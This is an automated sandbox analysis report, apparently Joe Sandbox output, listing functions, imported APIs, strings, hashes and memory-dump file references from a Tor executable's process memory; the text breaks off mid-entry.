abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0157B84F), ref: 01589C2E
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0157B84F), ref: 01589C70
memset.MSVCRT ref: 01589C9F

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

__stack_chk_fail.LIBSSP-0 ref: 01589CB2

Strings

>, xrefs: 01589C60

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$memset
String ID: >
API String ID: 2761635878-325317158
Opcode ID: 80efd37c9fd04cda6dda53435667342ab5c75bc3a90e0652c7f7da44ecba4d08
Instruction ID: 2ca5b6f1338ef5307815b88ff8d8ea1ff589a6a2e5efdd8a0ee53e476e77a7b3
Opcode Fuzzy Hash: 80efd37c9fd04cda6dda53435667342ab5c75bc3a90e0652c7f7da44ecba4d08
Instruction Fuzzy Hash: BC214FB0905306DFCB40EFA9C5486AEBBF4BF98244F40891ED894AB300D739DA44DF62

Uniqueness

Uniqueness Score: -1.00%

Function 0158C5EF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,01484634), ref: 0158C645
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,01484634), ref: 0158C684
memcpy.MSVCRT ref: 0158C69E
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,01484634), ref: 0158C6AF

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

, xrefs: 0158C689

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$memcpy
String ID:
API String ID: 4055433727-3916222277
Opcode ID: 4d3fd8d57664a5bca98d7ae875a7dcd3127d7e3bc0738c9db16247ff0f9e57f5
Instruction ID: d159f28afe150c2a72a889bfe32cd81ce33effcbcdc18ec1b25af89c960aaec9
Opcode Fuzzy Hash: 4d3fd8d57664a5bca98d7ae875a7dcd3127d7e3bc0738c9db16247ff0f9e57f5
Instruction Fuzzy Hash: BE11E9B4905316DFCF40EFA9C9482AEBBF4BF54248F41982ED894AB200D738D584DF62

Uniqueness

Uniqueness Score: -1.00%

Function 015592C6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0155931C
gmtime.MSVCRT ref: 01559327
memcpy.MSVCRT ref: 0155934A
__stack_chk_fail.LIBSSP-0 ref: 0155937B

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

$, xrefs: 01559335

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortgmtimememcpy
String ID: $
API String ID: 2548709623-3993045852
Opcode ID: 75359cc5255a75c10a7216826fd551afeb7791845016982d6d66ba0a055f1b9f
Instruction ID: 18dd5a13e204ae14851140a567ece2fb05a0690cc01ddb9ae8343ebaaccbf095
Opcode Fuzzy Hash: 75359cc5255a75c10a7216826fd551afeb7791845016982d6d66ba0a055f1b9f
Instruction Fuzzy Hash: 8F11D7B490431ADFCB80EFA9C8846AEBBF5BF49304F41891EE894AB340D3789544DF52

Uniqueness

Uniqueness Score: -1.00%

Function 013B1870 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013B18ED

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B18DA

Strings

c->magic == EDGE_CONNECTION_MAGIC || c->magic == ENTRY_CONNECTION_MAGIC, xrefs: 013B18BA
src/or/or.h, xrefs: 013B18AE
TO_EDGE_CONN, xrefs: 013B18C2

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: TO_EDGE_CONN$c->magic == EDGE_CONNECTION_MAGIC || c->magic == ENTRY_CONNECTION_MAGIC$src/or/or.h
API String ID: 1190921433-1010874915
Opcode ID: 8c1d6ebfc53e7bd3ead997793d236331ad755d78be805c2f80c82eefdab641c5
Instruction ID: d8952b03d81e17dba64e5b8a9e137b296b9df3c3a92932a7adc1f2eb9c4e27a1
Opcode Fuzzy Hash: 8c1d6ebfc53e7bd3ead997793d236331ad755d78be805c2f80c82eefdab641c5
Instruction Fuzzy Hash: 23018179E083069FCB50EFA9C4805AEBBF9BF45248F408459E890DB301E738E941DF52

Uniqueness

Uniqueness Score: -1.00%

Function 01570A9E Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 32COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,01507190), ref: 01570B04

Strings

<null>, xrefs: 01570AC0
0, xrefs: 01570ACE
???, xrefs: 01570AF4
102.129.143.43, xrefs: 01570ADD, 01570AED

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID: 0$102.129.143.43$<null>$???
API String ID: 4216919130-4080255098
Opcode ID: c06f256bc5c705f0dae0fabf043103bc6c9554b61de083b582ea882264d7293c
Instruction ID: 0e8ab965234019a7734dc94e6a5966e3e128603644bde29ff617c66e9c0bff11
Opcode Fuzzy Hash: c06f256bc5c705f0dae0fabf043103bc6c9554b61de083b582ea882264d7293c
Instruction Fuzzy Hash: DDF03C74A04249DFCB40EFADD441AAEBBF4FB09214F408A2AE855DB340D2B4E501CF92

Uniqueness

Uniqueness Score: -1.00%

Function 013B1800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013B1869

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B1856

Strings

src/or/or.h, xrefs: 013B182A
c->magic == DIR_CONNECTION_MAGIC, xrefs: 013B1836
TO_DIR_CONN, xrefs: 013B183E

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: TO_DIR_CONN$c->magic == DIR_CONNECTION_MAGIC$src/or/or.h
API String ID: 1190921433-1462086099
Opcode ID: 9c14ce22ba9cebfef255a12e46add13aeef1cadf07ea505193aca87aed75a197
Instruction ID: d02e9aabb32d080bc58ccc98033425c87d49d9f0cbe1565eccbcc35c3f45d179
Opcode Fuzzy Hash: 9c14ce22ba9cebfef255a12e46add13aeef1cadf07ea505193aca87aed75a197
Instruction Fuzzy Hash: 25F01D75A1470ADFCB40EFA9C48056EBBF9BF55218F40845DD894DB201D638E545CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 013B18F4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013B195D

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B194A

Strings

c->magic == ENTRY_CONNECTION_MAGIC, xrefs: 013B192A
src/or/or.h, xrefs: 013B191E
TO_ENTRY_CONN, xrefs: 013B1932

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: TO_ENTRY_CONN$c->magic == ENTRY_CONNECTION_MAGIC$src/or/or.h
API String ID: 1190921433-1754662681
Opcode ID: d14d680c9e6aad1af2ba9efc1fd4fee22804c6d671f9c41cd46a157e9d05b817
Instruction ID: b5d329fde376cce3104661a8489345f049ba10ccb6cb098eb2a337409044ff03
Opcode Fuzzy Hash: d14d680c9e6aad1af2ba9efc1fd4fee22804c6d671f9c41cd46a157e9d05b817
Instruction Fuzzy Hash: 63F03074A18306DFDB50EFA9C88055EBBF9BF85258F808459D8D4EB300E638E545DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 013B1790 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013B17F9

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B17E6

Strings

c->magic == OR_CONNECTION_MAGIC, xrefs: 013B17C6
TO_OR_CONN, xrefs: 013B17CE
src/or/or.h, xrefs: 013B17BA

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: TO_OR_CONN$c->magic == OR_CONNECTION_MAGIC$src/or/or.h
API String ID: 1190921433-3012317471
Opcode ID: 686053a05d4f39b4a949ca065a6b8c6eac017c14a5c5e0d0bf93ef4c47d131be
Instruction ID: 8cdd2f5b579e0435f22b76502cf3d46a291ed877b092e63427a3b46c97f5362d
Opcode Fuzzy Hash: 686053a05d4f39b4a949ca065a6b8c6eac017c14a5c5e0d0bf93ef4c47d131be
Instruction Fuzzy Hash: 71F090B9A043069FCB50EFA8C48456FBBF8BF45218F408419D890CB300E239E541CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 013B14D0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 013B14E6
GetProcAddress.KERNEL32 ref: 013B1503

Strings

_Jv_RegisterClasses, xrefs: 013B14F8
libgcj-16.dll, xrefs: 013B14DF
MetNet`7it0Qet, xrefs: 013B14E6

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: _Jv_RegisterClasses$libgcj-16.dll$MetNet`7it0Qet
API String ID: 1646373207-3046919077
Opcode ID: b31efd08fca18532dc138615964401a29b3b4b6d5b80f5ed3ca47dcaabaf502b
Instruction ID: a9ab758117c7aa8dc394ad50c1824e4c863eba2984513b65d3c25238d628ec32
Opcode Fuzzy Hash: b31efd08fca18532dc138615964401a29b3b4b6d5b80f5ed3ca47dcaabaf502b
Instruction Fuzzy Hash: 53E039707047018BD3247FBCA99825ABAF8AB80209F998428D6C297618FA75C0558B92

Uniqueness

Uniqueness Score: -1.00%

Function 01528CBB Relevance: 7.8, APIs: 5, Instructions: 271stringCOMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01528D52
abort.MSVCRT ref: 01528DA7
strcmp.MSVCRT ref: 01528E79
free.MSVCRT ref: 01528E90

Part of subcall function 01564771: abort.MSVCRT ref: 015647C1
Part of subcall function 01564771: _strdup.MSVCRT ref: 015647CC
Part of subcall function 01564771: exit.MSVCRT ref: 0156480D
Part of subcall function 01564771: __stack_chk_fail.LIBSSP-0 ref: 01564820

Part of subcall function 01529C57: abort.MSVCRT ref: 01529CCE
Part of subcall function 01529C57: abort.MSVCRT ref: 01529D23

Part of subcall function 01529C57: free.MSVCRT ref: 01529DEF
Part of subcall function 01529C57: __stack_chk_fail.LIBSSP-0 ref: 01529E1D

__stack_chk_fail.LIBSSP-0 ref: 0152907A

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_fail$free$_strdupexitstrcmp
String ID:
API String ID: 3837427514-0
Opcode ID: b6f9e744dd0217b235b4b51d1c41f4d1c7741df6b55aefd746d75a2350d77699
Instruction ID: 16565b338d88617d1c23fb3a5f0e2aa01b94b0a44f9b1a87fff73c62567c5f95
Opcode Fuzzy Hash: b6f9e744dd0217b235b4b51d1c41f4d1c7741df6b55aefd746d75a2350d77699
Instruction Fuzzy Hash: D5D190B5A04219DFCB44DFA8C584A9DBBF1BF49314F14886AE998EB350D738E841CF12

Uniqueness

Uniqueness Score: -1.00%

Function 01529832 Relevance: 7.7, APIs: 5, Instructions: 181stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0152829D: __stack_chk_fail.LIBSSP-0 ref: 015282E8

abort.MSVCRT ref: 015298C8
abort.MSVCRT ref: 0152991D
strcmp.MSVCRT ref: 01529960
free.MSVCRT ref: 01529977
__stack_chk_fail.LIBSSP-0 ref: 01529A9A

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$freestrcmp
String ID:
API String ID: 3472908119-0
Opcode ID: b6018ab40988cd6ef69a6b748816145815b934db904f33cd065cf44c462095ae
Instruction ID: 9afc9b504002f7e171c87fda99baa6ae5e34560ac5a421f367579a9ae501caa7
